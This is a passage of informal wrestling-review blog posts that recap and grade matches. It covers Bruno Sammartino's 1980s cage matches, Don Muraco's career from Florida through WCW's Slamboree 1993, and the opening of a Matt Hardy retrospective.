Foley makes another interesting point: Bruno headlined all three Shea shows and only once was world champion at the time. That’s saying a lot. This is the first match with an angle and the crowd clearly knows it. We get into a discussion about whether Bruno would be successful today and the commentators say yes because he was the people’s man. You know, like that blue collar guy that represented the hard working everyman who didn’t like his boss. Someone you could have a beer with. Or maybe a case of them if you get what I’m talking about. Yeah I think Bruno would have worked today.

Almost all Bruno so far. Now we talk about Stan Hansen inspiring Foley to sleep with his wife. Ok then. We hear about Larry and Foley driving together and Cole says how would they get a word in edgewise? Foley says he only talks over Cole because he’s smarter than Michael is. Nice line! Bruno’s arm is bleeding so Larry punches away at it. After nearly ten minutes Larry makes the first attempt at the door, naturally not getting there.

We get into a semi-argument over whether or not Foley ever worked out. Foley seems genuinely ticked off about that and I can’t say I blame him. Bruno wakes up and beats the heck out of Larry, kicking him in the head one more time and walking out to win it definitively. Bruno beats on him some more after the match ends

Rating: C+. Solid match for what it was supposed to be which was a big time brawl. The fans loved it and Bruno decisively won. What more can you ask from them? This was a blowoff to a feud and that’s what they did. There’s nowhere for this feud to go from here and it ended. That’s what gimmick matches are for. LEARN THIS RUSSO!

We’ll jump ahead to Bruno returning to the WWF after a few years away. Here’s a grudge match inside a cage on February 8, 1986.

Adrian Adonis/Randy Savage vs. Tito Santana/Bruno Sammartino

Wild brawl to start with Adonis vs. Santana and Bruno vs. Savage. Savage is the IC Champion at this point. You only win with both guys getting to the floor. They’re MOVING out there. Apparently the door is only going to be opened upon request. So it’s like a shave around the ears? Bruno, an old veteran of cage matches, stops Savage from trying to escape.

Even Adonis is running so you can tell they’re serious here. Bruno is beating the tar out of Savage here. I love the way he throws boots. This was actually a hot feud as Bruno came out of retirement to feud with Savage which in reality was a way to get his son some spots on TV. Tito makes a nice save to keep Savage in the door and Bruno crotches Adrian just because it’s fun. Gorilla says his wish just came true. I don’t want to know what that means. Tito is busted and it’s not bad.

It’s kind of odd to see someone use a kick as their main offense when you’re so used to seeing punches being the main thing. Savage goes for a double axe from the top but runs into the fist of Santana and the heels are in trouble. Savage is bleeding BAD. He manages to stop Santana though.

Adonis goes up and dives off the top, hitting Sammartino with a knee drop. Unfortunately that’s because he botched it for the most part and kind of fell off the top of the cage onto Bruno. Savage gets a leg over the top but runs into the taco salesman from Tijuana. The heels are slammed together allowing Bruno to get out the door and Santana over the top to end this.

Rating: A-. Sweet goodness this was a war. They beat the living crap out of each other and none of the four ever stopped at all. Bruno could bring on the violence when he wanted to and apparently he wanted to do so here. This was a very good match with all four guys working very hard and never stopping once in about ten minutes. I liked it.

Another cage match on July 12, 1986.

Bruno Sammartino vs. Roddy Piper

Not a title match here as this is from the mid 80s. We’re in Boston here. Gorilla and Jesse talk about the experience you get in cage matches. Jesse wonders what you can actually learn in there which makes sense. Piper wears a Bears shirt which is around the time that the Bears beat the Patriots in the Super Bowl. He also hangs posters in the cage which is a nice touch.

Bruno comes out and goes straight for Piper, sending him into the cage. Piper is bleeding maybe a minute in. Bruno shoves the poster in Piper’s face as this is a big beatdown. This was another big feud as Piper had totally not respected Sammartino as most young heels didn’t so Vince set this up before cutting almost all ties with Bruno. Granted that was mutual so that’s not a fair criticism.

Piper gets a low blow to save the match and barely has his shirt off yet. Sammartino has to make a big save to keep Piper out as he might be busted open too. Piper seems more like he’s just trying to escape while Bruno wants punishment. And there go Roddy’s trunks. Ok then. Bruno kicks away and they slug it out. Jesse has kind of stopped talking here.

Roddy goes up and Bruno pounds on his supple Scottish balls. That’s not quite enough for Bruno to get out but Bruno grabs a wooden chair as he’s trying to leave and blasts Piper in the head with it to win. Jesse says that was cheating but it’s a cage match so whatever I suppose.

Rating: B-. Not bad here and a bit longer than the previous one. Bruno was fun to watch and the fans always reacted to him. This was a veteran giving the young loudmouth a beating and that’s something that is always going to work. Nothing great but a fun match either way.

We’ll wrap it up with a match in Boston on January 7, 1987.

Intercontinental Title: Randy Savage vs. Bruno Sammartino

Savage hides behind Liz to start and Gorilla is freaking out on commentary. Bruno finally gets in a shot and sends Savage into the corner to put the champion in early trouble. Some right hands put Savage down and he hides behind Liz again. Bruno of course won’t swing with a woman in front of him so Randy gets in another cheap shot to take over.

A top rope ax handle drops Bruno on the floor and another drops him in the ring. Bruno comes back with his standard kicks to the ribs and Savage is in trouble. Another kick to the ribs drops Savage but Bruno ducks his head and takes a kick to his own face. A collision sends Savage to the floor and he brings in a chair for the DQ.

Rating: D+. This was just a brawl for the most part but the live crowd would have liked it a lot more than someone watching nearly thirty years later. Bruno was just a nostalgia act at this point but he certainly didn’t embarrass himself. It was entertaining enough though and that’s all this was supposed to be.

I don’t know what you want me to say. The guy sold out MSG something like 200 times. I think that speaks for itself.

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Wrestler of the Day – August 16: Don Muraco

Time for the original Rock: Don Muraco.

Muraco got started back in 1970 but we’ll pick him up in Florida at some point in 1970.

Don Muraco vs. Barry Windham

Dig that rocking beard on Muraco! He hammers Barry down to start and knees him to the mat. Windham is sent out to the floor and into a wooden barricade as this is total domination so far. Back in and the beating continues with Muraco hammering away at the head. Muraco’s Asiatic Spike hold is good for the win.

We’ll head to the WWF now and jump ahead a few years. Muraco would challenge for the Intercontinental Title on January 22, 1983.

Intercontinental Title: Pedro Morales vs. Don Muraco

This is from MSG in January of 83. Morales had taken the title from Muraco over a year ago. See, back then title reigns were VERY different. The title was introduced in 1979 and Ricky Steamboat was the 11th reign in 1987. In 8 years, the title changed hands 10 times. Think about that. Of the first ten reigns, the shortest was five months. Today, that would be a long reign. Back then it was by far the shortest. Three of the first ten lasted over a year. Think about that for a minute and now compare it to today.

As for this match, Muraco jumps the champ in the corner but Morales fights back quickly. Morales rips half of the shirt off Muraco and the challenger is in trouble. Corner sunset flip gets two for Morales. Muraco has a sleeve of his shirt still hanging off his arm. Pedro knocks him to the floor and this is all Morales so far. Muraco does a Flair Flop off the apron to the floor.

Pedro goes up top but doesn’t dive onto him as Don hides under the floor. That was pretty smart. Muraco tries to hide as Morales stalks him. Boot to the back of the head and it’s all Pedro. Gorilla criticizes him for not going for the kill, which is pretty good analysis. And there’s a low blow by Muraco and both guys are down. Still using the t-shirt, Muraco chokes Pedro with it in the corner, only to get low blowed as well.

Ok NOW the t-shirt is finally gone. A running knee in the corner misses for Morales though and he might have blown it out. There’s a lot of blowing in this match. Muraco moves in on it with a leg snap out of the corner. Clipped to a spinning toe hold being countered by Pedro. Morales, ever the genius, tries a backbreaker (despite sending Muraco’s shoulder into the post on the counter) and reinjures his knee. Boston Crab (Pedro’s finisher) is quickly broken by the ropes. Pedro tries a slam but the knee buckles and Muraco falls on top for the pin and the second title change in two matches on this tape.

Rating: C-. Not great or anything but again it’s really cool to see these rarities as you always hear about how these legends held titles but you never see how they won them. Pedro was far better in the 70s than 80s as he was washed up at this point, but he could still put people over, which is what he did here. Decent stuff, although a lot of stalling hurt it.

Off to the most famous match of Muraco’s career. From MSG on October 17, 1983.

Intercontinental Title: Don Muraco vs. Jimmy Snuka

This is in a cage. Sound familiar? You can only win by escape, making this a REAL cage match. A quick slugout is won by Snuka but Muraco pops back up. Snuka chops away as the beating begins. Don tries for the door but Snuka will have none of that. Muraco manages to slingshot him into the cage and Jimmy is busted early. Snuka gets a knee up and climbs the cage, only to come back down and pound away on Muraco some more.

Don manages a slam and goes for the door but Jimmy makes a save, only to take a low blow. Snuka pops up and chops Don’s head open, followed by a middle rope headbutt. He stands Muraco up, and in a semi-famous ending, hits a flying headbutt which knocks Muraco into the door, knocking it open so that the unconscious Muraco can fall out to keep the title.

Rating: D+. The match was intense while it lasted, but the whole thing only runs about seven minutes. There’s nothing of note here at all other than the ending which is pretty creative. I don’t remember a shorter cage match off the top of my head, which is something I think a lot of people forget. I think people think this was a big and epic brawl but it’s really Snuka killing him and then the ending with a run time of 6:46. That’s not much.

Post match Jimmy snaps and throws Muraco back inside. He suplexes Muraco down and goes to the corner. He climbs to the top rope but then goes a step further to the top of the cage, and in the most famous scene in wrestling until Hogan vs. Andre, jumps off the top of the cage with the Superfly Splash, completely crushing Muraco. That still looks great today, and some credit needs to go to Muraco. He was starting to sit up when Jimmy hits him, but after the Splash Muraco is DEAD.

Mick Foley, Sandman, Tommy Dreamer and Bubba Ray Dudley were in attendance that night and all have said this was what made them want to be a wrestler. I can easily see how that would be the case, as there was nothing like this beforehand. Snuka was flying through the air and crushed Muraco, which still looks incredible today. It’s stuff like that which you can only see in wrestling, which is what makes it great.

For some reason on the replays they keep stopping it right before the splash hits.

From MSG on January 23, 1984.

Intercontinental Title: Don Muraco vs. Tito Santana

Tito is challenging and Muraco has Albano with him. Feeling out process to start with Albano wondering around the ring for no apparent reason other than he’s Lou Albano. Tito finally takes over with a headlock before firing off some of those right hands that Jesse would say have guacamole on them. When the headlock stops working, Tito just rams Muraco’s head into the mat. Why over complicate things?

Back to the headlock as Tito cranks away. A big knee drop to Muraco’s head gets two and it’s back to the headlock. Don comes out of the hold with a backbreaker but is immediately slammed right back down into the headlock. This is getting rather repetitive as we’re over eleven minutes into this match and about nine of them have been spent in a headlock. They changes things up slightly by having Tito on his feet where Muraco can break the hold with a kind of Russian legsweep.

Muraco rams Santana’s head into the buckle to take over and adds in a powerslam for two. I’m pretty sure Muraco’s finisher at this point was a tombstone but I’m not sure. The fans cheer for Tito and he starts to Hulk Up a bit. Santana punches Muraco down and stomps away before having to take Albano out. The forearm misses Don though and both guys are down. Muraco goes up top and they slug it out….for a double DQ? Dang this is an old school match. Even Gorilla sounds confused by that.

Rating: D. I LOVE Tito Santana, but man alive this was boring. It’s a sixteen minute match and nearly thirteen minutes of that are spent in a headlock. That isn’t an exaggeration either. I checked to see if I had forgotten something but there’s nothing else there. Tito would win the title from Muraco about three weeks later in Boston.

Time for Muraco to go after a big dog. From May 18, 1985.

Hulk Hogan/Jimmy Snuka vs. Don Muraco/Bob Orton

In Boston which means a hot crowd. Hogan is champion (duh) and Jimmy is probably the second most popular guy in the company. More Mania fallout stuff here. Big brawl to start and the good guys clear the ring. Snuka and Orton officially start and Bob gets his cast beaten on. Well that’s a very slow healing injury after all. They work on the arm for awhile with Hogan even coming in off the middle rope with a shot.

The arm hits the post and at this point it’s still a fresh injury, only having been broken for a month or so. Back to Snuka and the beating continues. The Human Banana comes back in and Orton can’t get anything going. Big atomic drop has Orton in trouble but he manages to trip Hogan to bring in Muraco. Gee Hogan went down quickly there. Clipped to Orton hitting a nice delayed vertical on Hogan.

Back to Muraco with some nice heel double teaming. They collide and there’s the hot tag to Snuka. The camera cuts to a shot of the crowd and a kid pops up right in front of the camera like in a horror movie. Fuji gets up on the apron for a distraction and Orton hits Snuka with the cast. Hogan takes a shot too and Snuka is busted. OH MAN is he cut. Hogan goes into the post on the floor and we’re clipped to more beating on Snuka. He gets a shot in though and it’s off to Hogan finally. Orton pops him with the cast almost immediately and it gets thrown out.

Rating: C+. I liked this one a lot and I’d have loved to see the full version of it. That and a decisive ending instead of the DQ but whatever. This was Hogan 101 back in the day: find some guy to tag with, find a pair of heels, and watch the guy get bigger than he was going to be able to get on his own. They’re trying that with Cena and Ryder at the moment, but it’s not working so well because Ryder looks like a helpless chick (remember Cena holding him?) in the whole thing.

Muraco would be entered into the Wrestling Classic.

First Round: Tito Santana vs. Don Muraco

Tito is IC Champion here, yet he doesn’t get an introduction? That makes a lot of sense. These two had some great matches for the IC belt awhile back. Gorilla and Jesse debate the wisdom of a champion being in the tournament which is a valid point. Santana really is underrated in the ring. I defy you to find a truly bad Santana match where he wasn’t getting squashed. This is just a great old school style of a match here in all its 80s greatness.

They work a very different style than what you would see on TV today but it was great stuff. A lot of the time the more basic you go the better your stuff will be. That’s what should be on Tito’s tombstone as it was how his whole career went. In an ending that I really like, Muraco hits a powerslam for the three, but Santana’s foot is over the rope. Muraco is celebrating and walks into a small package for the real pin. I really like that.

It makes Muraco looks fairly strong as he actually got Santana down for three while at the same time it keeps Santana from looking weak because while he was pinned, it wasn’t legal. Again, creative booking makes things that otherwise would be bad much better. Fun match.

Rating: B. While they only had four minutes, they were a good four minutes. See, you can have matches like JYD and Sheik that are short and suck, and then you can have matches like this that was short and good. These two went out there and went hard for a few minutes and had a fun match. That’s how it’s done guys. Take notes. Santana really was a master in the ring and Muraco was no slouch either.

Here’s a match that can’t possibly be bad. From MSG on November 25, 1985.

Don Muraco vs. Ricky Steamboat

MSG from November of 85. They’re slow to start so I’m assuming this is going to go on for awhile. Steamboat speeds things up and a kick sends Don to the floor. Back in and Steamboat claps Muraco’s ears to send him right back to the floor. Back in and Muraco walks into a superkick and chops. Steamboat hooks the rare face chinlock (it’s a neck crank but I call them all chinlocks).

Muraco comes back but walks into more shots from Ricky to send him back outside. Back in again and Muraco STILL can’t get anything going. Backdrop sets up some armdrags and off to something resembling an STF. Now into a camel clutch. Steamboat grabs a nose lock before shifting to a front facelock. Clipped to later in the facelock as we hear about how this is a revenge match for the Dragon.

Muraco finally gets in some offense with an atomic drop and a clothesline. Steamboat goes face first into the post and he’s busted. Muraco goes after the wound like an evil man. Now it’s Steamboat on the floor as Gorilla wants a doctor to take a look at Steamboat. A slingshot puts Ricky into the post. Steamboat staggers around on the floor for a bit before getting slingshotted back in. That’s a popular move in this match.

Ricky chops away in the corner and the people get all exciteable. Muraco comes back again and Fuji throws in the cane. They fight over it but Steamboat kicks him off and into the referee. A cane shot misses Ricky so Steamboat kicks him in the back of the head and grabs the cane. The fans are LOSING IT. A cane shot draws the DQ loss for Steamboat though.

Rating: C+. Not a classic or anything but for what it was, this was fine. They let the guys do their thing and they worked the crowd into a frenzy because of it. What else do you really need to do in a place like New York? Steamboat was great and while Muraco was just a step past his prime, he could still go and do 20 minutes like he did here. Fine match.

Muraco would get a WWF World Title shot at SNME V.

WWF Title: Hulk Hogan vs. Don Muraco

Real American is used for the first time here. That’s rather cool. Apparently the music video debuts tonight as well. Muraco is number one contender for some reason. This screams generic Hogan match to me but I’ve been wrong before. This wouldn’t appear to be one of those times though. Actually Hogan is dominating here which isn’t something you often see. Hogan has white kneepads. That’s rather odd.

Muraco takes over and this isn’t anything of note at all, but somehow this is by far and away the best match of the night thus far. Muraco uses a move called the Asian Spike twice. I’d assume it’s a thumb to the chest or something like that. Hulk Up time and Heenan runs in for the DQ after the leg drop.

Rating: C-. Not bad but just a filler match to set up the ending angle. Much like the rest of the stuff around this time, there just wasn’t much here. Hogan did his usual stuff which to be fair was still huge back then. This was fine for what it was, though that wasn’t all that much in the first place.

Muraco would open Wrestlemania II in a match dealing with the post Wrestlemania I fallout.

Paul Orndorff vs. Don Muraco

This is fallout from the main event of Mania last year as Orndorff turned face due to Piper and Orton leaving him behind. Muraco is an associate of Piper so this is kind of a proxy feud for Paul. Muraco has Fuji with him too. Both guys say they’ll win in a voiceover as the match starts. Paul slams Muraco down to start and the crowd is already hot. Orndorff makes a slant eyes face at Fuji which today would get him thrown out of the company. In 1986, he was making $20,000 a week later in the year. It’s funny how times change.

Paul takes him down to the mat with an armbar as Susan St. James clearly has no idea what’s going on. She’s trying but this isn’t something she knows about at all it would seem. Paul cranks on a wristlock before going back down to the armbar. Susan: “He looks like he’s using some ancient Chinese techniques”. Uh…yeah. Muraco finally escapes and sends Paul into the corner, only to have Orndorff go off on him as they brawl to the floor. In something you won’t ever hear again I don’t think, the opening match of Wrestlemania goes to a double countout. The fans chant some expletives.

Rating: D. What do you want here? The match is four minutes long and ends in a double countout. It was hot while it lasted, but the problem is that it didn’t last long enough at all. This was a pretty big feud and it gets a four minute match? That’s all they can spare these guys? Orndorff would have a MEGA heel turn later in the summer which would eventually draw 74,000 people to an outdoor show in Toronto. That’s some drawing power.

Muraco would appear at the Big Event.

King Tonga vs. Don Muraco

Both are heels here and Tonga is more commonly known as Haku/Meng. He looks weird in regular tights too. I think he’s supposed to be a face but he’s just not popular at all. He’s also referred to as both King Tonga and Haku. He works on the arm, like a lot. I mean he works on that thing like there’s no freaking tomorrow.

We’re at about 5 minutes of just arm work. Valiant and Ladd are rather annoying men. And now we hit a two minute nerve hold. I have a bad feeling I know where this is going to go. Good grief this is just boring. Nothing of note happens for the better part of ever and then we have a time limit draw at about seventeen of the twenty minutes. This was a waste of time.

Rating: D+. I hate matches like these. Draws are fine, but dang man this was just freaking boring. Haku using a high cross body was cool though. Either way, this just wasn’t interesting at all and the wrestling wasn’t any good. That makes for a very bad match, especially this early on the show.

Muraco would start hanging out with Adrian Adonis and face Roddy Piper as a result. From November 1, 1986.

Roddy Piper vs. Don Muraco

Muraco is an Adonis crony. Piper jumps him to start and he’s WAY over. He was easily the second most popular guy in the company at this point. Muraco has a beard here which doesn’t work on him at all. They go to the floor and Piper slams him into a chair. Piper bites him coming back in and then gets him tied up in the ropes.

There’s a bulldog for no cover. There are cops walking around in the front row for some reason. Muraco sends him to the floor and Fuji gets in a shot to take Piper down a few pegs. Piper gets sent into the post and is busted. I can’t actually see it but Gorilla said it and Gorilla wouldn’t lie. Back in now and Piper spears him down to take over. Oh yeah it’s dripping off his face. Muraco is busted too.

This is a total brawl now. Muraco swings away but you don’t do that to Piper. He takes over with punches and hits a suplex for two. Fuji pokes Piper with the cane to shift momentum one more time. They’re both bleeding a ton. Fuji tries to interfere again but Muraco accidentally knees him to the floor and Piper rolls up Muraco for the pin.

Rating: B-. Fun brawl here which is what Piper was best at. He could go out there and have a totally wild brawl but his charisma was more than enough to carry him to a good match. Well maybe fun is the better term that good but you get the idea. This of course all culminated with the hair vs. hair match at Mania with Piper vs. Adonis.

Time for a comedy match. From November 24, 1986.

Don Muraco vs. Hillbilly Jim

Muraco is dressed like Piper and Fuji is with him in a tux. Remember that. Muraco is wrestling in the kilt. Jim rips it off quickly and the beating begins. Muraco is sent to the floor and Fuji’s hat got crushed. Muraco hides in the corner and Jim works on the arm. A headbutt puts Don on the floor. Muraco takes him down and it’s off to a nerve hold. Jim comes back and hits a big boot. Bear hug (called a full nelson by Monsoon for some reason) draws in Fuji for the DQ.

Rating: D. Jim was a fun character and this was designed to set up the next match and that’s all. Muraco was definitely on the downside of his career at this point but he still had a few more years on the top level to go. Fuji interfering directly sets up the next match on the tape which is always cool to see.

Muraco would join forces with Bob Orton and open the biggest show ever. From Wrestlemania III.

Can-Am Connection vs. Don Muraco/Bob Orton

No story here as they’re just two teams having a match. The Can-Am Connection is Rick Martel (Can) and Tom Zenk (Am) which would kind of evolve into Strike Force. Martel and Muraco start things off with Rick hitting a quick shoulder to take Don down. A hip block and a kind of monkey flip put Muraco down again and it’s a standoff. Zenk comes in for a double monkey flip and it’s off to Orton who gets armdragged down as well.

Bob gets hit from one corner to the other until Zenk takes him down with an armbar. All Connection so far. They trade full nelsons and Muraco hits Orton by mistake for two. Bob gets his arm cranked on a bit until FINALLY making the tag out to Muraco. The bad luck continues for the heels as Don is slammed down and has his arm worked on as well.

Orton and Muraco finally start cheating with a knee to Zenk’s back and a shot from the middle rope. Zenk and Bob ram heads and it’s a double tag as everything breaks down. The heels are sent into each other and a double dropkick takes Orton down. Muraco gets double teamed and a cross body with a trip from Zenk is enough for Martel to get the pin.

Rating: B-. I’ve called this the best opening match in Wrestlemania history and I don’t think it’s that far off from the truth. There are definitely matches of higher quality, but think about what an opening match is supposed to do. It’s designed to set the tone for a show and this one did that. It’s about five and a half minutes long and the good guys beat the bad guys with some nice continuity. It’s nothing flashy but it wasn’t supposed to be. This is a very nice, basic tag match and the crowd was into it, which is all it was supposed to accomplish. Good stuff here.

After turning face, Muraco would main event the first Survivor Series.

Team Andre the Giant vs. Team Hulk Hogan

Andre the Giant, King Kong Bundy, One Man Gang, Butch Reed, Rick Rude
Hulk Hogan, Bam Bam Bigelow, Don Muraco, Ken Patera, Paul Orndorff

After Andre’s team comes out, we go to the back for a great late 80s Hogan insane promo. He talks about how hungry all of his team is and apparently he trusts Orndorff again. Muraco is subbing for an injured Billy Graham who would never wrestle again if I remember correctly. To say the place erupts for Hogan is an understatement. Muraco and Rude get things going here. Again there aren’t many feuds going on here other than Hogan vs. Andre. Rude and Orndorff are feuding but other than that I don’t think there were any established programs already.

Rude gets knocked into the corner and quintuple teamed before it’s off to Orndorff for the tag. Paul knocks him around a bit and here’s Hogan to blow the roof off the place again. He drops a bunch of elbows on Rude and here’s Bigelow with a splash for no cover. Bigelow gorilla presses Rude and here’s Patera who never got back to where he was before his jail stint.

Off to Reed who has about as much luck as Rude had earlier. Muraco comes in and dropkicks Reed down as does Orndorff. Paul beats on him for a bit and it’s a double clothesline from Hogan and Orndorff, leading to the big leg and a 5-4 lead for Hogan and company. Andre comes in while Hogan is celebrating, but Joey Marella (Gorilla’s adopted son) says a high five to Patera counted as a tag so the teasing of the crowd continues.

Andre, the Frenchman that he is, thinks Patera is beneath him and tags out to Bundy. Patera clotheslines Bundy down but King tags in Gang to beat on Orndorff. Paul is all like BRING IT ON and punches Gang in the head, only to charge into a knee in the corner to bring him right back down. Off to Rude who gets his own head taken off by a clothesline. It’s been ALL Hulk N Pals so far.

Rude pokes Muraco in the eye and it’s off to Gang, but OMG misses a splash in the corner. Patera gets in and pounds away on Gang even more with right hands and a knee in the corner. Gang goes to the eyes which of course makes Jesse happy. Patera tries to fight back but they clothesline each other and Gang falls on top of him for the pin, making it 4-4. Hogan comes in immediately to take over but quickly brings in Bam Bam for a double big boot.

Bigelow is probably the second most popular guy in the company at this point or third at worst behind only Hogan and Savage. They hit head to head and it’s a double tag to Rude and Orndorff. Paul goes nuts on him but as he loads up the piledriver, Bundy jumps him from behind, giving Rude a quick rollup pin. That would be it for Orndorff in the WWF, at least in major spots.

Bigelow comes in and suplexes Rude down before tagging out to Hogan for a high knee (!). A powerslam from Muraco to take Rude out and it’s Gang, Bundy and Andre vs. Bigelow, Hogan and Muraco. Muraco goes after Bundy’s leg which is pretty good strategy. Granted it doesn’t work but at least it was a good idea. Gang comes in and Muraco can’t slam him because he’s really fat. The splash eliminates Muraco and it’s 3-2.

Gang vs. Bigelow now with Bigelow trying a sunset flip, only to get crushed by the power of fat. Bundy clotheslines Bigelow inside out and Jesse says Hogan is going to run if Bigelow gets eliminated. Gorilla RUNS to Hogan’s defense and Jesse freaks. Gang and Bigelow collide and Hogan looks like he’s about to cry. Andre finally comes in and Bigelow looks TINY compared to him.

Bigelow slides between Andre’s legs and FINALLY it’s Hogan vs. Andre. Hogan pounds away and blocks a headbutt and Andre is in trouble. Hogan decks Bundy and Gang before elbowing Andre in the head. Bundy pulls Hogan to the floor and Hulk has to beat up both of the other monsters. He slams both guys, but he’s outside too long and Hogan is counted out. Hogan, the great sportsman that he is, gets back in anyway and is STUNNED, yes STUNNED I SAY about getting counted out. It takes the referees saying that if Hogan doesn’t leave, his whole team is disqualified.

So it’s Bigelow vs. Andre, Bundy and Gang. Bigelow starts with Bundy and clotheslines him down for two. A shoulder block puts Bundy down again and a headbutt gets two. A dropkick staggers Bundy and the King misses a splash. Bigelow hits his slingshot splash to eliminate Bundy and make it 2-1.

Gang comes in immediately and starts pounding away, hooking something like a front facelock. Bigelow gets rammed into Andre’s boot and Gang goes up. Oh this can’t end well. Gang misses a “splash” and Bigelow pins him to get us down to one on one. Let the pain begin. Andre pounds him down, avoids a charge, fires off a bunch of shoulders to the back, and a kind of single arm butterfly suplex gets the final pin for Andre.

Rating: B-. For a main event, this was perfectly fine. More than anything else, it continues Hogan vs. Andre. They had their first match about eight months ago and something like this needed to happen to extend the feud. That’s the reason for the amount of PPVs going up: you need another place to have major feuds. Andre has now won something in direct competition over Hogan and there’s a reason for a rematch. Maybe on February 5th live on NBC?

Muraco would be entered into the WWF World Title tournament at Wrestlemania IV.

WWF World Title Tournament First Round: Dino Bravo vs. Don Muraco

Bravo shoves him back into the corner to start to win the first power battle of the match. Muraco hammers him down and tries something like a Vader Bomb but basically just lands next to Bravo instead. Dino comes back with an elbow to the face and a gutwrench suplex for no cover. A knee in the corner misses Muraco so he starts hammering on the knee.

A spinning toehold has Bravo in trouble but Don gets kicked away and gets his head caught in the ropes. Dino uses Muraco’s own piledriver to get two but a second attempt is countered with a backdrop. They clothesline each other but it’s Muraco up first. He hits a flying forearm which works so well that he tries it again, but Bravo pulls the referee into Muraco for the DQ.

Rating: D+. this was slow and plodding but it wasn’t horrible. Muraco was far better when he was less muscular and evil and this part of his career never quite worked that well. One very nice thing here is Jesse freaking out when Bravo got disqualified but then saying it was correct when seeing Bravo pull the referee on the replay. It’s very refreshing to see something like that.

WWF World Title Tournament Quarterfinals: Don Muraco vs. Ted DiBiase

The winner goes to the finals because of the double DQ. Ted comes out alone here for the first time tonight. Muraco pulls him into the ring by the hair and we’re ready to go. A quick powerslam gets two and Ted is reeling. There’s a clothesline for another two and Ted tries to bail. DiBiase finally gets to the floor and Billy Graham (Muraco’s manager) tries to hit him with his cane. Back in and Don tries to pull him out of the corner but gets pulled into the corner himself instead. DiBiase finally has some control but misses a falling reverse elbow off the middle rope. Muraco makes a quick comeback but walks into a hotshot for the pin.

Rating: C. Not bad here but yet again the time hurts them a lot. There’s only so much you can do in about five minutes, although it was good to show that DiBiase could get a win on his own which he did here. Muraco would be gone pretty soon if I remember correctly. Not much of a match here but it wasn’t bad.

Muraco would head to the indies for awhile before reappearing at the ECW/WCW show Slamboree 1993.

Dick Murdoch/Don Muraco/Jimmy Snuka vs. Wahoo McDaniel/Blackjack Mulligan/Jim Brunzell

Snuka in WCW is just weird. There are only three Legends matches and they’re all in a row. See, the problem with shows like these is that they have to actually wrestle. The Jims star us off here. Brunzell controls and takes over to start before bringing in Mulligan (Barry Windham’s dad). Mulligan vs. Murdoch now and they look their age. Murdoch gets taken down and goes into the wrong corner which ends badly for him.

Larry actually gets on Schiavone for knowing too much history. Dang Bischoff messed with that guy’s head and style like nothing I’ve ever seen. Murdoch (former big shot in the KKK apparently) runs from Wahoo and it’s off to Muraco. Wahoo slams him a few times and Muraco runs off. It’s weird to see Snuka on the seemingly heel team.

Muraco chops McDaniel a lot as Wahoo is face in peril I guess. Ok never mind as it’s off to Brunzell again who hits that dropkick of his. MURDOCH HITS A FREAKING FLYING HEADSCISSORS!!! I need a minute here. The announcers pop big for that. Not very horrible either if you can believe that (playa). Sleeper doesn’t work that well for Brunzell as Muraco breaks it up and hits a powerslam for no cover.

Wahoo gets a tag but the referee misses it so we’re still not ready to bring someone new in. Heel miscommunication puts Snuka down. Murdoch goes up top and puts his knee in Brunzell’s back to drive him down for two. Back to Muraco who gets caught in a cross body for two. Snuka finally comes in and gets in an argument with Snuka. Everything breaks down into a big brawl and the match gets thrown out.

Rating: C. It’s hard to come down on these matches as they’re not supposed to be good or anything. None of the guys have been active for years other than maybe some work on the indy circuits (Muraco was in ECW sometime around this, as was Snuka) so it’s not like they’ve been in the spotlight recently. The idea is to let them get one last hurrah and that’s fine. Hard to complain if the match is even remotely passable.

Don Muraco is a guy who may not have been the top guy in the promotion but he was a solid hand no matter where they put him on the card. He could wrestle with anyone and could be a good power face or a conniving heel. Muraco was a good guy to bring over from the territory system and he would rarely have a bad match. That’s a very valuable asset to have and Muraco was very good at it.

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Wrestler of the Day – August 15: Matt Hardy

This guy can slam a tornado. It’s Matt Hardy.

I’ll try to avoid the Hardy Boys where I can but that’s almost impossible at times.

We’ll start things up with Matt’s WWF debut on Raw, May 23, 1994.

Matt Hardy vs. Nikolai Volkoff

The Russian easily takes him down and rolls Matt up for two. A double underhook suplex drops Matt again as we’re in full squash mode. Matt hits some worthless forearms before getting slammed and Boston crabbed for the submission.

Another job spot on Raw, July 10, 1995.

Matt Hardy vs. Hunter Hearst Helmsley

HHH armdrags him down and a knee to the back has Matt in even more trouble. Hardy grabs a headlock to no avail as Lawler makes jokes about Helen Hart. A slam drops Matt again and we get a curtsey. Matt misses a moonsault press and the Pedigree ends this quick.

One last match from this period. Superstars, May 11, 1996.

Matt Hardy vs. Steve Austin

Matt now has his name on his tights. They’re quickly on the mat with Hardy grabbing a headscissors. Austin quickly comes back and puts on a full fledged Liontamer. A hard clothesline drops Hardy again and Austin punches his way out of a sunset flip. Austin takes him to the top for a superplex and the Million Dollar Dream gets the win.

Rating: D. Total squash here even though Hardy got in some offense at the beginning. It’s fun to see someone evolve like this as his career slowly gets going, even if it’s something as simple as the name on the tights. Matt would of course stick around for a long time and Austin is Austin.

We’ll look at an indy company called New Dimensions Wrestling on September 6, 1997.

Surge vs. Willow the Wisp

Matt vs. Jeff for those of you uninitiated. Surge nails Willow to start and Willow poses on the ropes for a bit. They trade wristlocks with Willow getting the better of it and stomping away. Willow takes Surge up to the top rope so Matt (the announcer is calling him both so it’s fine) can wristdrag him across the ring. The middle rope legdrop gets two for Matt but he botches a springboard moonsault. Thankfully he’s right back up with a slingshot hilo before sending Willow out to the floor.

Surge nails a HUGE dive to take him down onto the sawdust floor. Back in and Matt bails out on a top rope Lionsault before getting caught by the spinning mule kick. A spinwheel kick to the face drops Matt and a frog splash gets two. They head back outside again so Willow can get a chair.

Matt gets kicked outside again and Willow uses the chair for a big springboard dive. Unfortunately it’s not big enough and it lands about a foot short but nice try. Back in and Willow misses the Swanton (called a reverse leap) and is sent out to the floor. Surge hits a plancha before they head back inside for a pinfall reversal sequence with Willow staying on top for the pin.

Rating: C-. You have to consider this was in an indy company with both guys still rookies on the big stage. The match wasn’t bad and both Hardys looked decent but it’s a glorified indy match. The commentary for these kind of companies continue to drag down whatever match they have, but at least the action wasn’t bad.

We’ll jump way ahead to Raw on November 29, 1999 for this feud that will never die.

Matt Hardy vs. Edge

They’re friends now after the tag team ladder match at No Mercy. Matt avoids a neckbreaker but gets caught by a spinning kick to the face. Matt comes back with a tornado DDT and the middle rope legdrop for two before we hit the chinlock. A superplex gets two on Edge but Matt takes too much time going up and gets crotched back down. Edge dropkicks Matt off the top and into a cameraman. The partners get involved and Edge spears Matt for the pin.

